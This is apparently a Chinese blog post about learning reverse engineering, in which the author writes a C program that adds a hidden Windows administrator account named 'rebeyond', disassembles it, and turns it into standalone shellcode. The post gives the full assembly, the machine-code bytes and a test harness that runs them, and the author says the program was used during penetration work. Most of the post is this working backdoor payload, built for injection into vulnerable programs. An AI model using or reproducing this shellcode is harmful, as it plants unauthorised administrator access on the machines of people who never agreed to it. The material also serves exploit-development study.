逆向工程学习第二天--动手开发自己的第一个shellcode
一个简单的c语言添加windows管理员账号的小程序,之前在渗透的时候经常用到,现在拿它来做自己的第一个shellcode。
C代码:
#pragma comment(lib, "netapi32.lib")
#include "windows.h"
#include <Lm.h>
int main(int argc, char* argv[])
{
NET_API_STATUS ret = 0;
DWORD dwErr = 0;
USER_INFO_1 oUserInfo;
ZeroMemory(&oUserInfo, sizeof(oUserInfo));
oUserInfo.usri1_name = L"rebeyond";
oUserInfo.usri1_priv = USER_PRIV_USER;
oUserInfo.usri1_flags = UF_NORMAL_ACCOUNT;
ret = NetUserAdd(NULL, 1, (LPBYTE)(&oUserInfo), &dwErr);
//Add that accout into the administrators group
_LOCALGROUP_MEMBERS_INFO_3 oUser;
oUser.lgrmi3_domainandname = oUserInfo.usri1_name;
ret = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)(&oUser), 1);
return 0;
}
OD反汇编代码:
00401000 /$ 83EC 28 sub esp,0x28 //为main函数内的局部变量分配空间, dwErr ,oUserInfo和oUser,共40个字节。
00401003 |. 57 push edi //备份调用前的edi内容。
00401004 |. B9 08000000 mov ecx,0x8 //对oUserInfo结构体进行初始化,共32个字节,以DWORD为单位进行8次循环,此处设置循环次数。
00401009 |. 33C0 xor eax,eax //设置填充内容,为0x00。
0040100B |. 8D7C24 0C lea edi,dword ptr ss:[esp+0xC] //设置edi为oUserInfo的初始地址。
0040100F |. F3:AB rep stos dword ptr es:[edi] //循环拷贝eax里的值到edi所指的地址 。
00401011 |. 8D4424 04 lea eax,dword ptr ss:[esp+0x4] //设置eax为dwErr的地址。
00401015 |. 8D4C24 0C lea ecx,dword ptr ss:[esp+0xC] //设置ecx为oUserInfo的地址。
00401019 |. 50 push eax //准备入栈参数&dwErr。
0040101A |. 51 push ecx //准备入栈参数&oUserInfo。
0040101B |. 6A 01 push 0x1 //准备入栈参数1。
0040101D |. 6A 00 push 0x0 //准备入栈参数0。
0040101F |. C74424 14 000>mov dword ptr ss:[esp+0x14],0x0 //把dwErr赋值为0.
00401027 |. C74424 1C 505>mov dword ptr ss:[esp+0x1C],addsc.004050>; //设置 oUserInfo 的第一个元素为字符串"rebeyond"的地址
0040102F |. C74424 28 010>mov dword ptr ss:[esp+0x28],0x1 //设置oUserInfo 的一些必要元素:usri1_priv;
00401037 |. C74424 34 000>mov dword ptr ss:[esp+0x34],0x200 //设置oUserInfo 的一些必要元素:usri1_flags;
0040103F |. E8 32000000 call <jmp.&NETAPI32.NetUserAdd> //调用NetUserAdd
00401044 |. 8B5424 0C mov edx,dword ptr ss:[esp+0xC] //把oUserInfo首地址赋值给edx。
00401048 |. 8D4424 08 lea eax,dword ptr ss:[esp+0x8] //把oUser结构体地址赋给eax。
0040104C |. 6A 01 push 0x1 //准备调用参数1。
0040104E |. 50 push eax //准备调用参数&oUser。
0040104F |. 6A 03 push 0x3 //准备调用参数3。
00401051 |. 68 30504000 push addsc.00405030 //准备调用参数"Administrators"。
00401056 |. 6A 00 push 0x0 //准备调用参数NULL,即为0。
00401058 |. 895424 1C mov dword ptr ss:[esp+0x1C],edx //把oUserInfo结构体的第一个DWORD(为“rebeyond”字符串的地址)赋值给oUser结构体唯一的一个元素。
0040105C |. E8 0F000000 call <jmp.&NETAPI32.NetLocalGroupAddMemb> //调用NetLocalGroupAddMembers。
00401061 |. 33C0 xor eax,eax //把eax清零,准备返回值。
00401063 |. 5F pop edi //把之前备份的edi恢复。
00401064 |. 83C4 28 add esp,0x28 //恢复栈帧。
00401067 \. C3 retn //返回操作系统代码。
相关结构体:
typedef struct _USER_INFO_1 {
LPWSTR usri1_name;
LPWSTR usri1_password;
DWORD usri1_password_age;
DWORD usri1_priv;
LPWSTR usri1_home_dir;
LPWSTR usri1_comment;
DWORD usri1_flags;
LPWSTR usri1_script_path;
}USER_INFO_1, *PUSER_INFO_1, *LPUSER_INFO_1;
USER_INFO_1结构体有八个DWORD元素,共32个字节。
typedef struct _LOCALGROUP_MEMBERS_INFO_3 {
LPWSTR lgrmi3_domainandname;
} LOCALGROUP_MEMBERS_INFO_3, *PLOCALGROUP_MEMBERS_INFO_3,
*LPLOCALGROUP_MEMBERS_INFO_3;
LOCALGROUP_MEMBERS_INFO_3结构体只有一个元素,占4个字节。
这段代码具有添加管理员用户的功能,但是我想把它直接复制到漏洞程序作为shellcode是行不通的,因为程序是包括代码和数据的,我只是复制了代码,并没有复制存在于堆栈中的数据,比如shellcode中运行上图红色标记的代码,就会发生错误,因为字符串在漏洞程序中根本不存在。所以,如果想要作为shellcode来使用的话,所有用到的数据必须全部由代码来负载。下面开始打造可以独立运行的shellcode。
反观这段代码,其实就是2个API的调用,我们只要push参数来完成这两个函数调用就可以了。
C函数调用: ret = NetUserAdd(NULL, 1, (LPBYTE)(&oUserInfo), &dwErr);
NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)(&oUser), 1);
Shellcode asm代码:
push ebp //备份ebp
mov ebp,esp //设置新的ebp
sub esp,0x28 //抬高栈顶
mov ecx,0x10 //为栈初始化准备循环次数
xor eax,eax //为栈初始化准备填充内容
lea edi,dword ptr ss:[esp-4] //从栈顶开始初始化
rep stos dword ptr es:[edi] //全部填充为00
mov [ebp-8],0 //设置局部变量,准备函数第四个参数dwErr。
push 0x00000000 //准备函数第三个参数,把用户名字符串入栈,为oUserInfo准备数据
push 0x0064006E //同上
push 0x006F0079 //同上
push 0x00650062 //同上
push 0x00650072 //同上,为字符串rebeyond的Unicode形式,必须Unicode。
lea edx,[esp] //取得用户名字符串的地址,放入edi。
mov [esp+0x14],edx //把oUserInfo结构的首个元素赋值为用户名首地址
mov [esp+0x20],1 //设置oUserInfo第四个必须元素usri1_priv为1.
mov [esp+0x2C], 0x0200 //设置oUserInfo第七个必须元素usri1_flags为0x200
lea eax,[ebp-0x8] //取dwErr的地址。
push eax //参数入栈,&dwErr
lea edi,[esp+0x18] //取oUserInfo的地址,
push edi //参数入栈,&oUserInfo
push 1 //参数入栈。
push 0 //参数入栈
mov eax,0x5fe0457c //把NetUserAdd函数地址赋值给eax
call eax //调用NetUserAdd
push 0x00000000 //把字符串Administrtors入栈。
push 0x00730072
push 0x006f0074
push 0x00610072
push 0x00740073
push 0x0069006e
push 0x0069006d
push 0x00640041
lea esi,[esp] //取得administrators字符串地址。
push 1 //准备参数。
push edi
push 3
push esi
push 0
mov ebx,0x5fe04534 //把NetLocalGroupAddMembers函数地址赋值给eax
call ebx //调用NetLocalGroupAddMembers
mov esp,ebp //恢复现场
pop ebp //恢复现场
ret //返回
机器码:
0x55,0x8B,0xEC,0x83,0xEC,0x28,0xB9,0x10,0x00,0x00,0x00,0x33,0xC0,0x36,0x8D,0x7C,0x24,0xFC,0xF3,0xAB,0xC6,0x45,0xF8,0x00,0x6A,0x00,0x68,0x6E,0x00,0x64,0x00,0x68,0x79,0x00,0x6F,0x00,0x68,0x62,0x00,0x65,0x00,0x68,0x72,0x00,0x65,0x00,0x8D,0x14,0x24,0x89,0x54,0x24,0x14,0xC6,0x44,0x24,0x20,0x01,0xC6,0x44,0x24,0x2C,0x00,0x8D,0x45,0xF8,0x50,0x8D,0x7C,0x24,0x18,0x57,0x6A,0x01,0x6A,0x00,0xB8,0x7C,0x45,0xE0,0x5F,0xFF,0xD0,0x6A,0x00,0x68,0x72,0x00,0x73,0x00,0x68,0x74,0x00,0x6F,0x00,0x68,0x72,0x00,0x61,0x00,0x68,0x73,0x00,0x74,0x00,0x68,0x6E,0x00,0x69,0x00,0x68,0x6D,0x00,0x69,0x00,0x68,0x41,0x00,0x64,0x00,0x8D,0x34,0x24,0x6A,0x01,0x57,0x6A,0x03,0x56,0x6A,0x00,0xBB,0x34,0x45,0xE0,0x5F,0xFF,0xD3,0x8B,0xE5,0x5D,0xC3
Shellcode+C测试:
#pragma comment(lib, "netapi32.lib")
#include "stdio.h"
#include "windows.h"
#include <Lm.h>
int main()
{
HINSTANCE hInstLibrary = LoadLibrary("netapi32.dll");
if (hInstLibrary == NULL)
{
printf("Load Dll Error");
;
}
unsigned char shellcode[]={0x55,0x8B,0xEC,0x83,0xEC,0x28,0xB9,0x10,0x00,0x00,0x00,0x33,0xC0,0x36,0x8D,0x7C,0x24,0xFC,0xF3,0xAB,0xC6,0x45,0xF8,0x00,0x6A,0x00,0x68,0x6E,0x00,0x64,0x00,0x68,0x79,0x00,0x6F,0x00,0x68,0x62,0x00,0x65,0x00,0x68,0x72,0x00,0x65,0x00,0x8D,0x14,0x24,0x89,0x54,0x24,0x14,0xC6,0x44,0x24,0x20,0x01,0xC6,0x44,0x24,0x2C,0x00,0x8D,0x45,0xF8,0x50,0x8D,0x7C,0x24,0x18,0x57,0x6A,0x01,0x6A,0x00,0xB8,0x7C,0x45,0xE0,0x5F,0xFF,0xD0,0x6A,0x00,0x68,0x72,0x00,0x73,0x00,0x68,0x74,0x00,0x6F,0x00,0x68,0x72,0x00,0x61,0x00,0x68,0x73,0x00,0x74,0x00,0x68,0x6E,0x00,0x69,0x00,0x68,0x6D,0x00,0x69,0x00,0x68,0x41,0x00,0x64,0x00,0x8D,0x34,0x24,0x6A,0x01,0x57,0x6A,0x03,0x56,0x6A,0x00,0xBB,0x34,0x45,0xE0,0x5F,0xFF,0xD3,0x8B, 0xE5,0x5D,0xC3};
__asm
{
lea eax,shellcode
push eax
ret
}
;
}
OH YEAH!成功添加管理员用户:

问题:
中间遇到一个问题,NetLocalGroupAddMembers的调用老是不成功,出现异常,原来以为是调用参数的堆栈没有组织好,耽误了一个多小时,后来发现是问题在这,就是这段代码(上文中标红的那两行):
mov ebx,0x5fe04534 //把NetLocalGroupAddMembers函数地址赋值给eax
call ebx //调用NetLocalGroupAddMembers
就是把NetLocalGroupAddMembers函数的地址赋值给ebx,然后调用ebx。
但是我用eax就是不成功,代码明明是mov eax,0x5fe04534,但是赋值语句执行之后eax的值却偏偏是0x5fe0cc34,中间的45换成了cc,到底是何解呢?望高手赐教!!!
另外,这个shellcode下一步需要完善几个地方:
- 函数地址要动态获取。
- 字节实在是太多,需要大瘦身。
顺便发张NetLocalGroupAddMembers的堆栈截图,留个纪念,省的以后再回过头来看的时候费劲。

逆向工程学习第二天--动手开发自己的第一个shellcode的更多相关文章
- 【转】Esp8266学习之旅① 搭建开发环境,开始一个“hellow world”串口打印。
@2019-02-28 [小记] Esp8266学习之旅① 搭建开发环境,开始一个“hellow world”串口打印.
- SpringBoot官方文档学习(一)开发你的第一个Spring Boot应用
一些准备工作: 本节介绍如何开发一个简单的“ Hello World!” Web应用程序,该应用程序重点介绍Spring Boot的一些关键功能.我们使用Maven来构建该项目,因为大多数IDE都支持 ...
- 动手开发自己的第一个 composer 包
原文:http://blog.jayxhj.com/2016/05/basic-composer-package-development/ composer 是 PHP 的依赖管理工具,本篇文章就来说 ...
- 第二篇 界面开发 (Android学习笔记)
第二篇 界面开发 第5章 探索界面UI元素 ●The Android View Class ●△Widget设计步骤 需要修改三个XML,以及一个class: 1)第一个xml是布局XML文件 ...
- atitit.自己动手开发编译器and解释器(2) ------语法分析,语义分析,代码生成--attilax总结
atitit.自己动手开发编译器and解释器(2) ------语法分析,语义分析,代码生成--attilax总结 1. 建立AST 抽象语法树 Abstract Syntax Tree,AST) 1 ...
- 二、Android学习第二天——初识Activity(转)
(转自:http://wenku.baidu.com/view/af39b3164431b90d6c85c72f.html) 一. Android学习第二天——初识Activity 昨天程序搭建成功以 ...
- Android(java)学习笔记219:开发一个多界面的应用程序之两种意图
1.两种意图: (1)显式意图: 在代码里面用intent设置要开启Activity的字节码.class文件: (2)隐式意图: Android(java)学习笔记218:开发一个多界面的应用程序之人 ...
- python学习第二讲,pythonIDE介绍以及配置使用
目录 python学习第二讲,pythonIDE介绍以及配置使用 一丶集成开发环境IDE简介,以及配置 1.简介 2.PyCharm 介绍 3.pycharm 的安装 二丶IDE 开发Python,以 ...
- Golang学习-第二篇 搭建一个简单的Go Web服务器
序言 由于本人一直从事Web服务器端的程序开发,所以在学习Golang也想从Web这里开始学起,如果对Golang还不太清楚怎么搭建环境的朋友们可以参考我的上一篇文章 Golang的简单介绍及Wind ...
随机推荐
- (八)map,filter,flatMap算子-Java&Python版Spark
map,filter,flatMap算子 视频教程: 1.优酷 2.YouTube 1.map map是将源JavaRDD的一个一个元素的传入call方法,并经过算法后一个一个的返回从而生成一个新的J ...
- __weak与__block区别,深层理解两者区别
准备工作 首先我定义了一个类 MyObject 继承 NSObject,并添加了一个属性 text,重写了description方法,返回 text 的值.这个主要是因为编译器本身对 NSString ...
- 简体中国版文档的Markdown语法
Markdown文件 注意︰这是简体中国版文档的Markdown语法.如果你正在寻找英语版文档.请参阅Markdown︰ Markdown: Syntax. Markdown: Syntax 概述 哲 ...
- x01.MagicCube: 简单操作
看最强大脑,发现魔方还是比较好玩的,便买了一个,对照七步还原法,居然也能成功还原. 为什么不写一个魔方程序呢?在网上找了找,略作修改,进行简单操作,还是不错的,其操作代码如下: protected o ...
- 4-pl-sql的安装
pl-sql的安装 一.安装pl-sql 1.安装前准备 1).在windows安装的oracle client目录下创建相应目录 2).上传oracle数据库的文件到admin目录下 3).然后打开 ...
- [AR]ImageTarget(图像识别)
ImageTarget 前言 ImageTarget 顾名思义,就是图像识别,本文记录下作者最近学习vuforia中的imageTarget笔记与心得. vuforia guide:https://l ...
- wireshark 导出所有filter出来的包
1.Edit->Mark All Displayed 2.File->Export Specified Packets->Marked packets only(选中)
- js特效,加速度,图标跳动
看到一个在地图上的特效,就是标注当前位置之后,图标一直在跳动,那效果看着比较得劲,就自己写了个图标跳动的jsjs代码: setTimeout("jump()",5); var t= ...
- [LeetCode] Substring with Concatenation of All Words 串联所有单词的子串
You are given a string, s, and a list of words, words, that are all of the same length. Find all sta ...
- SQL函数汇总【精选篇】
1.绝对值 SQL:select abs(-1) value O:select abs(-1) value from dual 2.取整(大) S:select ceiling(-1.00 ...